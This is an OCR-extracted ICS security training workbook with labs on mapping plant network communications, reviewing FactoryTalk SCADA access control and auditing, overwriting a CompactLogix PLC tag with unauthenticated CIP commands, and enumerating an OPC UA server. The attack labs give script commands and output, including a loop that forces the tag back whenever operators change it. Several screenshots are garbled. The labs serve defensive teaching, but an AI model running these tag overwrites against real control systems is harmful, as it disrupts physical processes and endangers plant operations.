172.16.1.11 Although it is not actively communicating to anything in this packet capture sample, the evidence collected
does strongly indicate it to be running a Windows OS.

There are many useful tools that can be used to understand ICS communications. Wireshark being the most popular.
Understanding the weaknesses of those tools is important to ensure their benefits are not misleading. Reviewing this capture
within Wireshark would provide us similar and possibly more information on the communications in this packet capture file.
The benefit of EtherApe, although not alone, is quickly displaying a visual representation of the communications, a list of
nodes and a list of protocols useful for conversing with others. Unfortunately, the graphical visual options in EtherApe is to
display either instant or accumulative communication meaning short communication bursts will slowly fade out. A lesson
that all of these tools were built with a purpose in mind, but not necessarily for the use case you intend to use it for.

Nonetheless, this simplified information can be useful to review with the operations team to document how each of these
nodes and protocols relate to the operations of the facility. In our scenario, this is what we learned from operations on what
these nodes are and how they relate to the zones we identified. A couple of nodes were unidentifiable and require further
investigation.

IP Address Asset Name Location

172.16.1.2 Line1 (Pod 1) PLC Raw Ingredients Line 1
172.16.1.3 Line 1 HMI Raw Ingredients Line 1
172.16.1.4 Line1 Remote IO Raw Ingredients Line 1
172.16.1.11 Unknown Unknown

172.16.1.12 Unloader 1 (Click 1) PLC Bulk Bag Unloader 1
172.20.1.21 Unknown Unknown

We've determined that 172.16.1.3 is a HMI device for the Line 1 PLC. Due to the complexity of these systems and lack of
documented inventory, however, there is uncertainty of the function of nodes 172.16.1.11 and 172.20.1.21. Farther
conversations with IT network team determined that 172.20.1.0/24 is the subnet associated to the Manufacturing Network.
Discussion with the Information Systems team disclosed that 172.20.1.21 is a Data Server running OPC used for non-critical
plant-wide visibility. Another packet capture was collected from the Line 1 Switch over an extended period to gather more
evidence that may help identify node 172.16.1.11.

15. Open the EtherApe Preferences by clicking on pref. inthe top menu.
16. For Central Node under the Diagram tab enter 172.16.1.11 and Click save .
17. Maximize the EtherApe application and watch closely while the EtherApe is analyzing the capture.

18. Open the packet capture named LocalComms2.pcap .
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19 Double-click node 172.16.1.11 and monitor closely both the main display and details of this node as the capture is played
through. Communications will appear and disappear as the replay continues so watch and take note of the communications
until the replay is complete. Re-click "Sart" to replay the capture or use "Pause" and "Start" to take notes.

20. New communications from 172.16.1.11 includes communication to Click PLC using an UNKNOWN-UDP protocol and
communications to the Pod PLC, the Pod Remote |0 and Pod HMI using ENIP-EXPLICIT protocol.

These communications are indicative of an Engineering Workstation (EWS). Sharing this new information with operations, along
with their own investigation, determined that it was a Laptop that was used by an external Systems Integrator performing some

maintenance updates to the system.
The operations team has also shared that each machine can operate without the need of the line controllers since the operators

are able to enter production parameters through a local HMI connected by serial communications to the local PLC.

Task 3 -- Categorizing Communications and Documenting Findings

Documenting the communications can include a diagram for visual reference but should also contain context around where
assets reside, the function those assets have towards operations and physical locations.

Identified Assets Related to Raw Ingredients Line 1:

IP Address Asset Name Location

172.16.1.2 Line1 (Pod 1) PLC Raw Ingredients Line 1
172.16.1.3 Line1 HMI Raw Ingredients Line 1
172.16.1.4 Line 1 Remote IO Raw Ingredients Line 1
172.16.1.11 Contractor Laptop Non-specific

172.16.1.12 Unloader 1 (Click 1) PLC Bulk Bag Unloader 1
172.20.1.21 Data Server (OPC) Manufacturing Network

Identified Communications Related to Raw Ingredients Line 1:
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Enterprise Manufacturing Network
Network

Raw Ingredients Area

Raw Ingredients Line 1 (Pod 1)

Bulk Bag
Unloader 1 (Click 1)

g

Communication that are critical to the environment means operations cannot continue without them. Non-critical
communications are not necessary in the event of network failure or network containment. Conditional communications are not
always present but based on the occurrence of a specific event or activity. This may include the activity of a maintenance function,
plant visibility change, an operational disruption or failure, a safety incident, a cybersecurity incident, etc.

Note

The answer for the following questions are at the end of this lab.

1. Using what was identified about the environment earlier write down the criticality for each asset discovered as Critical, Not
Critical or Conditional.

IP Address Asset Name Location Criticality
172.16.1.2 Line1 (Pod 1) PLC Raw Ingredients Line 1
172.16.1.3 Line1 HMI Raw Ingredients Line 1
172.16.1.4 Line1 Remote IO Raw Ingredients Line 1
172.16.1.11 Contractor Laptop Raw Ingredients Line 1

172.16.1.12 Unloader 1 (Click 1) PLC Bulk Bag Unloader 1
172.20.1.21 Data Server (OPC) Manufacturing Network

2. Using what was identified about the environment write down the role for each communication discovered as Production,
Maintenance, Unknown.
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Communication IP Address Range Role

Modbus TCP (502/TCP) 172.16.1.12-172.16.1.2
Modbus TCP (502/TCP) 172.16.1.12-172.20.1.21
Ethernet/IP Explicit (44818/TCP) 172.16.1.2-172.16.1.3
Ethernet/IP Explicit (44818/TCP) 172.16.1.2-172.21.1.21
Ethernet/IP Explicit (44818/TCP) 172.16.1.11-172.21.1.2
Ethernet/IP Explicit (44818/TCP) 172.16.1.11-172.21.1.3
Ethernet/IP Explicit (44818/TCP) 172.16.1.11-172.21.1.4
Ethernet/IP (44818/TCP, 2222/UDP) 172.16.1.2-172.16.1.4

3. Using what was identified about the environment write down the criticality for each communication discovered as Critical,
Not Critical or Conditional.

Communication IP Address Range Criticality
Modbus TCP (502/TCP) 172.16.1.12-172.16.1.2
Modbus TCP (502/TCP) 172.16.1.12-172.20.1.21

Ethernet/IP Explicit (44818/TCP) 172.16.1.2-172.16.1.3
Ethernet/IP Explicit (44818/TCP) 172.16.1.2-172.16.1.21
Ethernet/IP Explicit (44818/TCP) 172.16.1.11-172.21.1.2
Ethernet/IP Explicit (44818/TCP) 172.16.1.11-172.21.1.3
Ethernet/IP Explicit (44818/TCP) 172.16.1.11-172.21.1.4
Ethernet/IP (44818/TCP, 2222/UDP) 172.16.1.2-172.16.1.4

Findings and Recommendations:

1. Multiple findings and recommendations will be discovered when mapping communications. These lists should be refined to
encourage specific exploratory activities or remediation steps to improve the security of the environment. These should not be
prescriptive solutions unless something has been agreed upon already with the operations team. There will be times where
the activities required to identify a solution cannot be accomplished during communication mapping.

Number Finding Recommendation
1 Contractor Laptop has unfettered Review contractor access requirements to support the environment.
access to all assets within Raw Options to consider: (1) Issue support laptops for use by contractors while

Ingredients Line 1 and open route back  on-site. (2) Implement network-level controls to restrict access from
to Manufacturing Network laptops. (3) Implement network-level monitoring of laptop usage
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Number Finding Recommendation

2 Manufacturing Network directly Investigate for other unknown connections between Manufacturing
communicates with Unloader 1 PLC. Network assets and lower ICS networks. Options to consider: (1) Re-
engineer data flow to move data closer to Manufacturing Network. (2)
Implement network-level monitoring of lower network communications
3 Bulk Bag Unloader 2 (Click 2) was not Review state and presence of potentially missing assets, network
present in packet capture segments of communications assumed to be included.
4 Raw Ingredients Line 1 shares IP Subnet Investigate the necessity of adding transparent network protection in
range as Bulk Bag Unloader 1. front of Bulk Bag Unloader.
## | Findings Recommendations
1. | Contractor Laptop has Review contractor access requirements to support the environment.
unfettered access to all Options to consider:
assets within Raw Ingredients | 1 —Issue support laptops for use by contractors while on-site.
Line 1 and open route back 2 —Implement network-level controls to restrict access from laptops.
to Manufacturing Network 3 — Implement network-level monitoring of laptop usage
2. | Manufacturing Network Investigate for other unknown connections between Manufacturing
directly communicates with Network assets and lower ICS networks. Options to consider:
Unloader 1 PLC. 1 — Re-engineer data flow to move data closer to Manufacturing
Network
2 — Implement network-level monitoring of lower network
communications
3. | Bulk Bag Unloader 2 (Click 2) | Review state and presence of potentially missing assets, network
was not present in packet segments of communications assumed to be included.
capture
4. | Raw Ingredients Line 1 shares | Investigate the necessity of adding transparent network protection in
IP Subnet range as Bulk Bag front of Bulk Bag Unloader.
Unloader 1.

1. What key information is needed to make this task successful?

2. What method could improve the effectiveness of this activity?

3. How could an attacker use any of the communications?
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Exercise Takeaways

As a process environment expands and is connected to and dependent on more and more subsystems, it is necessary to update
data flow documents to reflect all communications across the various network levels. The process will be impacted if network
changes are made, if infrastructure devices fail, or if an adversary misconfigures a device or misuses a necessary service.

While nobody likes doing documentation, maintaining current and accurate data flows, asset inventories, and network diagrams
are essential to understanding the process environment and responding to any type of incident.

Results:

The results below are the intended results from the analysis. Most of your results should be similar; however, with little context
provided you may have different thoughts and responses based on your own experiences. It is important to understand our biases
can influence our results. More importantly it is crucial that we reach out to system owners to explore and improve our
understanding. Let's discuss as a class any differences you have in your results.

1. Using what was identified about the environment earlier write down the criticality for each asset discovered as Critical, Not
Critical or Conditional.

IP Address Asset Name Location Criticality

172.16.1.2 Line1 (Pod 1) PLC Raw Ingredients Line 1  Not Critical
172.16.1.3 Line1 HMI Raw Ingredients Line 1 Not Critical
172.16.1.4 Line 1 Remote IO Raw Ingredients Line 1  Not Critical
172.16.1.11 Contractor Laptop Raw Ingredients Line 1 Conditional

172.16.1.12 Unloader 1 (Click 1) PLC Bulk Bag Unloader 1 Critical
172.20.1.21 Data Server (OPC) Manufacturing Network Not Critical

2. Using what was identified about the environment write down the role for each communication discovered as Production,
Maintenance, Unknown.

Communication IP Address Range Role
Modbus TCP (502/TCP) 172.16.1.12-172.16.1.2 Production
Modbus TCP (502/TCP) 172.16.1.12-172.20.1.21 Production

Ethernet/IP Explicit (44818/TCP) 172.16.1.2-172.16.1.3  Production
Ethernet/IP Explicit (44818/TCP) 172.16.1.2-172.21.1.21 Production
Ethernet/IP Explicit (44818/TCP) 172.16.1.11-172.21.1.2 Maintenance
Ethernet/IP Explicit (44818/TCP) 172.16.1.11-172.21.1.3 Maintenance
Ethernet/IP Explicit (44818/TCP) 172.16.1.11-172.21.1.4 Maintenance
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Communication IP Address Range

Ethernet/IP (44818/TCP, 2222/UDP) 172.16.1.2-172.16.1.4

3. Using this known information about the environment write down the criticality for each communication discovered as Critical,

Not Critical or Conditional.

Role

Production

Communication IP Address Range Criticality

Modbus TCP (502/TCP) 172.16.1.12-172.16.1.2 Not Critical
Modbus TCP (502/TCP) 172.16.1.12-172.20.1.21 Not Critical
Ethernet/IP Explicit (44818/TCP) 172.16.1.2-172.16.1.3  Not Critical
Ethernet/IP Explicit (44818/TCP) 172.16.1.2-172.16.1.21 Not Critical
Ethernet/IP Explicit (44818/TCP) 172.16.1.11-172.21.1.2 Conditional
Ethernet/IP Explicit (44818/TCP) 172.16.1.11-172.21.1.3 Conditional
Ethernet/IP Explicit (44818/TCP) 172.16.1.11-172.21.1.4 Conditional
Ethernet/IP (44818/TCP,2222/UDP) 172.16.1.2-172.16.1.4  Not Critical
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Lab 2.6 -- Configure Connections to Process Visualization

Background

Total Lab Time: 25 minutes

Objectives

» Review SCADA Client Connections
+ Review SCADA Access Control and Auditing

+ Review SCADA Application Architecture

Task 1 -- Review SCADA Client Connections

1. Open the SCADA HMI Client. From the Windows VM Image RDP to the Operator Workstation used previously.
172.20.3.AAB

Where:

AA = Pod#=1-15
B = Student#=1-2

Example

Pod 1 / Student 1 =172.20.3.11
Pod 12 / Student 2 = 172.20.3.122

Username = ICS612
Password = ICS612

2. Launch the "Run Client" application from the Desktop.

3. With the SCADA HMI Client application open, identify with which servers this client communicates. If not already open, launch
Command Prompt ( cmd.exe ) from the Desktop.

4. Run the following command.
netstat -a | findstr /I ESTABLISHED

5. The output contains a list of server connections established from the operator workstation.

Understanding the relationship between clients, servers and devices is necessary when restricting traffic and baselining
communications for defense. Not only is every vendor and their applications different, there may exist other added
components by the engineering or integration team, Vendor documentation should only be used as one source of validation
but not the source of truth.
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As shown in the output, this application communicates with 4 total servers. For context of this setup, the LICSRV is hosting

application licenses (for convenience) and what is known as the FactoryTalk Directory. As shown in previous steps, this

directory hosts the logical location of everything related to this SCADA application. There is a connection to the DATASRV

which centralizes the data communications (i.e., RSLinx Enterprise and Kepserver) with the PLCs. In some other SCADA

applications, the client communicates to the PLCs directly. This HISTSRV is the historian server hosts an archive of

production data. The HMISRV hosts the application graphics and data references.

172.20.3.5:49173
172.20.3.5:49177
172.20.3.5:49179
172.20.3.5:49209

172.20.3.5:49210
172.20.3.5:49211
172.20.3.5:49395
172.20.3.5:49400
172.20.3.5:49409

LICSRU:1332

LICSRU:492084
LICSRU:49203
DATASRU:1332
HISTSRU:1332
HMISRU:1332

HMISRU:49453
LICSRU:49251
DATASRU :4241

ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTABLISHED

6. Examine relation between the SCADA application and communications. Note the connections made to HMISRV. Run the

following command to loop the netstat command and output showing connections to HMISRV.

For /L %i in (1,0,2) do @netstat -a | findstr /I hmisrv

7. Close the SCADA HMI Client application and monitor until only one established communication (port 1332) remains and

other communications have either disappeared or listed as TIME_WAIT.

TCP
TCP
TCP
TGP
TCP
TCP

172.28.3.5:49185
172.28.3.5:49252
172.20.3.5:49307
172.28.3.5:49185
172.28.3.5:49252
172.20.3.5:49307

HMISRU:1332

HMISRU:4243

HMISRU:epmap

HMISRU:1332
HMISRU:4243

HMISRU:epmap

8. Maximize the "Command Prompt" application

ESTABLISHED
TIME_UAIT
TIME_WAIT
ESTABLISHED
TIME_WAIT
TIME_UWAIT

9. Leave the netstat loop running and launch the SCADA HMI Client application from the desktop.

10. Monitor the netstat output and watch for the new connections to HMISRV as the application opens. Take note of the HTTP

communications.

11. Leave the netstat loop running as you read through to the next step.

172.20.3.5:49211
172.20.3.5:52988
172.20.3.5:53155

172.20.3.5:53176
172.20.3.5:53354

HMISRU:1332

HMISRU :49453

HMISRU:1332

HMISRU:epmap

HMISRU:http

ESTABLISHED
ESTABLISHED
ESTABLISHED
TIME_UWAIT

ESTABLISHED

172.20.3.5:53355

HMISRU:http

ESTABLISHED

With many ICS software applications, the communications may change based on different conditions. Exercising those

conditions will increase the level of understanding on how the SCADA software communicates on the network.

12. Determine the conditions that trigger the new communications with the netstat loop running. Monitor the connections until

the HTTP connections close so we can baseline communications to identify a relationship between the software and the

HTTP communications.

13. Place the "Command Prompt" application window and the HMI Client application side by side. It is okay if some of the

SCADA HMI Client Application is off screen.

14. From the HMI Client application, click the Trends button while watching the netstat output.

15. As the "Trends Menu" window opens, a new HTTP connection should appear.
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16 In about a minute or so those HTTP connections will close.

17. With no HTTP connections displayed, within the Trend Menu click the button labelled " ctick 1" under "Pod 1". Watch again
for the establishment of HTTP connections followed by them closing in about 1 minute.

C OV F E F E I N C . 'Presidential

Pod Pod2 Pod3 Pod4
Click 1 Click 1 Click 1 Click 1
ic Click 2 Click 2 Click 2

18. Close the "Pod 1 Click 1 Trend" display.

COVFEFE INC. residentil

Close

19. Verify no new HTTP connections were made.

20. Stop the netstat loop.

For context, a review of the HTTP stream would confirm these connections are used to pull the graphic files. A review of the lIS

logs on HMISRV would also reveal familiar HTTP status codes for when the display files are different (changed) or not.
Identifying what the unique communication conditions are in any environment, unfortunately, will not always be this

straightforward. Not all engineers and integrators of these systems will understand the underlying communications that exist

in the application they are using or deploying. Lastly, some of the conditions may be a small benign function that are not
used regularly and easily overlooked and forgotten as not all provided features specified during a build are used in practice.

21. Leave the SCADA HMI Client Application open and continue to the next task and examine the access controls.

Task 2 -- Review SCADA Access Control and Auditing

1. Review the domain configuration and hostname of the Operator Workstation. Display domain by running the following
command within "Command Prompt".

systeminfo | findstr /B /C:"Domain"

2. Display the hostname by running the following command within "Command Prompt".

whoami

The first command highlights the host is part of a Windows Workgroup and not a domain. The second output highlights the
Workgroup is named "ows".

3. Review the credentials used to open the client. With the SCADA HMI Client application open, click the Logout button within
the application.

4. In the "Login" window, login with the following credentials and click ok .

Username = ICS612
Password = ICS612
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"FactoryTalk View SE Client Login

Type your user name and password:

User name: ICS612

Password ssssee Cancel

The HMISRV is on the domain and typically, unless the client is on the same domain, the user would need to enter the domain
portion as part of the username. Previously steps demonstrated many connections made to Domain resources. Something is
different with the access control in this application.

5. Launch the administration console for this SCADA application. From the Operator Workstation, launch the FactoryTalk
Administration Console application from the "Start" menu.

,. Games

Control Panel

1. Maintenance
\. Rockwell Software Devices and Printer:
() FactoryTalk Administration Console

I FactoryTalk Activation Default Programs

. FactoryTalk Alarms and Events

Note

If asked, select Network as the "FactoryTalk Directory" and click OK.

6. Review the allowed users configured for the system. Navigate the "Explorer” area within the "FactoryTalk Administration
Console" and review the list of authorized Users.
Explorer

=€ Network (LICSRV)

w o Plant

=] System
(23 Action Groups
w3 Policies
E (L1 Computers and Groups
i &5 Networks and Devices
=11 Users and Groups
- @] User Groups

=08

€% SAnonymousLogon

€ 1CS612
€2 VantagePoint

Note

The user "ICS612" and "SAnonymous" are both present.

7. Right-click on the user 1cs612 and select properties.
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User name: CS612
Ful name:
Description
Email
User must change password at next logon
[7] User cannot change password

|V Password never expires
[7] Account is disabled

Accourt is locked

Reset Password |

The "Properties” looks very similar to a Windows user properties dialogue. It appears this system has included many of the
same security features as a Windows operating System.

8. Review the allowed computers configured for the system. Navigate the "Explorer" area within the "FactoryTalk Administration
Console" and review the list of authorized Computers.

Explorer ‘ B
1€ Network (LICSRV)
Y ﬂa Plant
53 System
(L] Action Groups
@] Policies
=& Computers and Groups
i [ Computer Groups
=)o
. DATASRV
-3 EWS1
& HISTSRV
-3 HMISRV
& LICSRV

Note

The Operator Workstation is not listed.

9. Review the security policies configured for the system. Navigate the "Explorer" area within the "FactoryTalk Administration
Console" and open the Security Policy.
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File View Tools Window Help
H S |[E |

=€) Network (LICSRV)
= {fa Plant
=0 System
.. Action Groups
23 Policies
#(1] Product Policies
=3 System Policies
| (1 FactoryTalk Alarms and Events
[ Application Authorization
[ User Rights Assignment
[ Live Data Policy
[?) Health Monitoring Policy
[ Audit Policy

@] Security Policy

(71 Combuters and Grouns

Take a moment and examine the various available configurations but specifically note the "Computer Policy Settings".

E Computer Policy Settings

Reguire computer accounts for all client machines Disabled

Identify terminal server clients using the name of Server computer I
B Directory Protection Policy Seftings |

In review of the access control of this application, computer accounts are not restricted, and FactoryTalk Users (i.e., ICS612)
not Domain Users are used by the Operator Workstation to access the application.

10. With the Access Control understood, review the auditing capabilities of this application. Navigate the "Explorer" area within
the "FactoryTalk Administration Console" and open the Audit Policy.

M]
=€ Network (LICSRV)
@ [ Plant
=3 System
.20 Action Groups
=3 Policies
(3 Product Policies
={10 System Policies
u 1] FactoryTalk Alarms and Events
- [7) Application Authorization
[?) User Rights Assignment
[ Live Data Policy
-[) Health Monitoring Policy

Wal o roic

Take a moment an examine the various available configurations.

11. Review the Audit logs from the application. From the Operator Workstation, launch the Diagnostics Viewer application from
the "Start" menu.
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|3 Windows Media Player -|
£1 Windows Update
o4 XPS Viewer -

I Accessories
1» CodeMeter 1Cs612
1. Games
. Maintenance
. Rockwell Software
¥ FactoryTalk Administration Console

J. FactoryTalk Activation

\. FactoryTalk Alarms and Events

I, FactoryTalk Historian SE

Documents

Pictures

Music

Computer

|, FactoryTalk Tools
Diagnostics Viewer
ﬁ FactoryTalk Diagnostics Counter
% FactoryTalk Directory Configurat Devices and Printers

Control Panel

Take a moment and review the various records within the "Diagnostics Viewer".

12. With the "Diagnostics Viewer" open an interactive session with the SCADA HMI Client (e.g., navigate the menu, change some
values, etc.)

13.

Click the " Refresh "

button within the "Diagnostics Viewer".

Take a moment and review the new records.

@ T 8/30/201911:12:.... OWS FactoryTalk Secu... 1CS612
Login failure of user [ICS612] on directory [Network]. The user must change password

a T 8/30/201911:13:...

FactoryTalk Secu... 1CS612
FactoryTalk View... OWS\ICS612 1CS612

8/30/201911:13:... OWS FactoryTalk View... 1CS612

User ICS612 has been logged in

14. Review Windows Event Viewer for any relevant information. Launch "Event Viewer" from the Operator Workstation.
15. Within the Event Viewer, navigate to FactoryTalk Diagnostics under "Applications and Services Logs".
16. Take a moment and review the various records.

For context, this SCADA application contains its own AAA platform known as "FactoryTalk Directory" which can contain
Domain Users or FactoryTalk Users. Domain users can be linked instead of using FactoryTalk Users, but that was not
demonstrated here. What is unique, regardless of whether a Domain is present or not, is that the FactoryTalk Directory is a
centralized AAA yet accessible by all systems that are connected and authorized to use it. Also, unique with this vendor, is
that the FactoryTalk Administration Console is installed on every computer but restricted by the configured policies.

Every vendor takes a different approach when dealing with Access Control and Auditing of their application. Many times,
these features are taken for granted and not fully understood or pragmatically reviewed when incorporating a wholistic
security approach. Taking a moment to learn and understand what is available in your applications will be invaluable when
evaluating the best approach to access control and auditing for your environment.

17. Leave the "FactoryTalk Administration Console" open and continue to the next task.

Task 3 -- Review SCADA Application Architecture

1. From within the Operator Workstation, launch the FactoryTalk Administration Console application from the "Start" menu. This
is the administration console for this SCADA application.
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w FactoryTalk Administration Console

2. If asked, select Network as the "FactoryTalk Directory” and click ok .

3. Review the server roles within this SCADA environment. Navigate the "Explorer" area within the "FactoryTalk Administration
Console".

4. Expand Plant and Area.

=1k Areal
[, HMI Server
‘2 RSLinx Enterprise

o

(] System

5. Right click HMI server and review the Server Status. Note the server named HMISRV hosting the service and it's status is
Active.

6. Right click RsLinx Enterprise and review the Server Status. Note the server named DATASRV is hosting the service and it's
status is Active.

Many times, and for simplicity, a SCADA or DCS may be represented in documentation to reflect the physical layout of the
servers with a common set of terms like HMI Server, DATA Server, Historian, etc. These layouts are usually a gross
generalization of how the applications are architected. Understanding how the individual application components are used in
the environment and where they are hosted is just as important as to what physical servers and applications exist. Through
application architecture, security can be improved by modifying the application roles for each server, understanding how to
restrict their individual access or merely as a reference for use in network and security monitoring.

7. Close all open windows and disconnect or log out of the RDP session to the Operator Workstation.

1. What is the client retrieving from the HMI Server when you selected the trend button?

2. Is the Factory Talk Directory linked to the Domain?

3. Where is the Factory Talk Directory running?
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Exercise Takeaways

Operators make decisions routinely based on information provided to them through tabular displays of through data driven
graphics. For interconnected and interdependent systems, it becomes quite demanding for operators to have the ability to see the
wide area view of the overall process and individual devices in a manner that helps them make rapid decisions.

Taking display values from lower-level field controllers and mapping those tags into a common display can be very helpful to
operators. Pulling in alarm tags and allowing remote response capabilities for an operator may be necessary depending on your
business demands.
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Lab 2.7 -- PLC Device-Level Attack
Background

Background
Total Lab Time: 20 minutes
Tools Used:

« Kali-Linux VM
+ Python is an interpreted, high-level, general-purpose programming language.

« Python Cpppo Library

The Useless Box switch is mapped from the Click PLC into the Allen-Bradley CompactLogix PLC via Modbus. The following
registers are used to read Student 1 Useless box and Student 2 Useless box respectively.

AllowClick1ToCycleBreaker01 : Data Type Boolean: 1 = On, 0 = Off
AllowClick2ToCycleBreaker02 : Data Type Boolean: 1 = On, 0 = Off

Currently, when the PanelView (Pod) HMI allows remote operation from the Click, the Useless Box switch must be in the "On"
position to allow filling, grinding, or mixing from their respective areas.

This attack will override the status of AllowClick1ToCycleBreaker01 and AllowClick2ToCycleBreaker02 to affect the filling, grinding,
or mixing permissives in the CompactLogix PLC.

Objectives

+ Poll the CompactLogix PLC for the value of AllowClick1ToCycleBreaker01 or AllowClick2ToCycleBreaker02 through a non-
conventional method

+ Send an evil CIP command to change the value of AllowClick1ToCycleBreaker01 or AllowClick2 ToCycleBreaker02 through a
non-conventional method

Task 1 -- Poll the CompactLogix PLC

1. Open the Kali VM

2. Open the Desktop folder. Click Files icon from the menu on the left. Click pesktop from menu directory list within Files.

B Desktop
[ Documents
® Downloads

- JJ Music

200 © 2022 Jeffrey Shearer, Jason Dely, Tim Conway, and Chris Robinson

Technet24



3. Copy the Lab 2.7 folder from the student ISO to the Kali Linux VM by dragging the "Lab 2.7" folder from the student ISO into
the Desktop folder within Kali. If having difficulty copying files, ask the instructor for assistance.

4. Open a Terminal window.

Terminal

5. Enter the following command in the terminal to change the working directory.
cd /root/Desktop/Lab\ 2.7

6. Press the Enter key.

:~# cd /root/Desktop/Lab\ 2.7
:~/Desktop/Lab 2.7# l

7. Run the following command in the terminal to execute the polling script

python3 switch_polling.py -a 172.16.AA.2 -c B

Where: Pod# = 1 - 15

= Student#

le;
|

-

N

Examples:
Podl / Student 1
python3 switch polling.py -a 172.16.1.2 -c 1

Podl2 / Student 2
python3 switch polling.py -a 172.16.12.2 -c 2

Desktop/Lab 2.7# python3 switch polling.py -a 172.16.1.2 -c 1
2022: AllowClicklToCycleBreaker®@l == Enabled
2022: AllowClicklToCycleBreaker®l == Enabled

2022: AllowClicklToCycleBreaker@l == Enabled
2022: AllowClicklToCycleBreaker@l == Enabled
2022: AllowClicklToCycleBreaker@l == Enabled

8. Review the output
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The python script uses the Cpppo library (pronounced 'c'+3*p'+'0" in Python by the developers) which stands for Comm.

Protocol Python Parser and Originator. It is an implementation of the Ethernet/IP CIP protocol. When configured with a

known tag name (i.e., AllowClick2ToCycleBreaker02), the script is able to establish communication the Pod PLC and request

regular updates of the value of the tag. Details of the Cpppo library and how to use it can be found at https://github.com/

pjkundert/cpppo.

Note

This lab specifically uses Python3. Also, the tag value is "255", which is a byte of all 1s.

Task 2 -- Send Evil CIP Command

1. Open a second Terminal window and navigate to the Lab 2.7 directory

cd /root/Desktop/Lab\ 2.7

root@kali: ~/Desktop/Lab2.7
File Edit View Search Terminal Help
New Tab
New Window
Close Tab Shift+Ctrl+W

Close Window Shift+Ctrl+Q

2. Run the following command in the terminal to execute the attack script.

python3 switch_attack.py -a 172.16.AA.2 -c B

Pod#
Student#

Where:

Il
Il
B

IUﬂl;

Examples:
Podl / Student 1

python3 switch attack.py -a 172.16.1.2

Podl2 / Student 2

-c 1

python3 switch attack.py -a 172.16.12.2 -c 2

3. Review the output of both the switch_polling.py and switch_attack.py scripts. Notice how the tag value changes after running

the attack script.

4. Cyclethe Allow Click (1 or 2) Breaker Control button on the Pod HMI a couple of times while reviewing the output of the

scripts. The attack script is also polling the tag value and will rewrite the evil value if the tag value changes.
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File Edit

Sun
Sun
Sun
Sun
Sun
Sun
Sun
Sun
Sun
sun
Sun
sun
Sun
sun

Jan
Jan
Jan
Jan
Jan
Jan

Jan :

Jan

Jan 3

Jan
Jan
Jan
Jan
Jan

View Search Terminal

:~/C
137 2022:

Help

Lab 2.7# python3 switch polling.py -a 172.16.1.2 -c 1
AllowClicklToCycleBreakerfl ==

AllowClicklToCycleBreakerol
AllowClicklToCycleBreakerol

AllowClicklToC)
AllowClicklToCycleBreakerol

: AllowClicklToCycleBreakerol
: AllowClicklToCycleBreakerel =

AllowClicklToCycleBreakerol
AllowClicklToCycleBreaker@l
AllowClicklToCycleBreakerol
AllowClicklToCycleBreakerol

1lowClicklToCycleBreakerol
AllowClicklToCycleBreakerol

T T T T T

L [ 1 I 1 O

Enabled
Enabled
Enabled
Enabled
Disabled
Disabled
Enabled
Disabled
Disabled
Disabled
Disabled
Disabled
Disabled
Disabled

File Edit View Search Terminal
. top/Lab 2.7# python3 switch attack.py -a 172.16.1.2 -c 1
Tag Attack.

. ofits

140
140 2

Starting Rewrite
Monitoring
Sun Jan 30
Sun Jan 30
Monitoring
Sun Jan 30
Sun Jan 30
Monitoring V.
Sun Jan 30

Sun Jan 30 12:06:

Monitoring Value

of

6:43
6:43
e of

:45 2

Des

Ta

45 2
Tag: AllowClicklToCycleBreakerol

of

root@IC5612-Kali: ~/Desktop/Lab 2.7

Help

AllowClicklToCycleBreakerol

: Detected tag value is equal to @
: Setting tag value back to 1
: AllowClicklToCycleBreakerol
: Detected tag value is equal to ©
: Setting tag value back to 1
: AllowClicklToCycleBreaker0l
: Detected tag value is equal to ©
: Setting tag value back to 1

This simple script demonstrates a simple loss of control attack that denies an ability for the system to perform as expected. Due

to the openness of the Ethernet/IP and CIP, the cpppo library only requires a known tag name and network-level accessibility to

the PLC to fundamentally operate. Knowing how to achieve a specific desired impact to operations, however, requires more in-

depth knowledge of how the tags relate to the physical process.

1. How could an attacker determine tag names that could be targeted?

2. Was any authentication used when sending the evil CIP command to overwrite the tag value? If not, why not?

3. What are some ways to detect/prevent this type of attack?

Exercise Takeaways

An attacker does not need to understand the process to disrupt it but the attacker may need to gather certain parts of the

configuration to ensure a desired effect.

In this exercise, the attacker had obtained at least some information about the configuration of the CompactLogix PLC. This

information allowed the attacker to send unauthenticated CIP commands to overwrite a tag value that disrupted the process.
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Lab 2.8 -- OPC Discovery Attack

Background

Total Lab Time: 20 minutes
Tools Used:

+ Kali-Linux VM
+ Wireshark is a widely-used network protocol analyzer.
+ Python is an interpreted, high-level, general-purpose programming language.

+ Python OPC UA Library

Objectives

+ Identify an OPC UA server
» Enumerate sensitive data from the OPC UA server

« Identify sensitive information

Task 1 -- Identify OPC UA server

1. Utilize the information gathered in Lab 2.5 to identify the OPC UA server and the port that the OPC UA server is using.

Task 2 -- Enumerate OPC UA server

1. Open the Kali VM

2. Open the Desktop folder. Click " Files " icon from the menu on the left. Click pesktop from menu directory list within Files.

[ Documents
® Downloads

- J3 Music

3. Copy the Lab 2.8 folder from the student ISO to the Kali Linux VM by dragging the "Lab 2.8" folder from the student ISO into
the Desktop folder within Kali. If having difficulty copying files, ask the instructor for assistance.

4. Open a Terminal window
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$

- Terminal

5. Enter the following command in the terminal to change the working directory
cd /root/Desktop/Lab\ 2.8
6. Press the Enter key

File Edit View Search Terminal Help
:~# cd /root/Desktop/Lab\ 2.8

:~/Desktop/Lab 2.8 I

7. Enter the following command in the terminal to execute the enumeration script against the OPC server identified in Lab 2.5.
OPC UA Server IP Address =172.20.1.21
OPC UA Server Port =49370

python opcua-enumeration.py -a 172.20.1.21 -p 49370

8. Pressthe Enter key

root@kali: ~/Desktop/Lab 2.8 e G €

r

File Edit View Search Terminal Help
:~/Desktop/Lab 2.8# python opcua-enumeration.py -a 172.20.1.21 -p 49370
Views: No Value
Objects: No Value

Server: No Value
ServerArray: ['urn:datasrv.scada.local:Kepware.KEPServerEnterprise.V5:UA Server']
NamespaceArray: ['http://opcfoundation.org/UA/', 'urn:datasrv.scada.local:Kepware.KEPServerEnter
prise.V5:UA Server', 'KEPServerEnterprise']

9. Review the output

The Python OPC UA Library is used in the script which stands for OLE for Process Control Unified Architecture (or Object Linking
and Embedding for Process Control Unified Architecture). It is an implementation of the OPC UA binary protocol that works
against multiple different OPC UA stacks. This is important as many vendors can develop their own implementation of OPC UA
and the OPC UA protocol is, typically, intended to be used between vendor application stacks. There are many features available
with this library, however, in this case the ability to extract a plethora of information about an OPC UA server with a simple
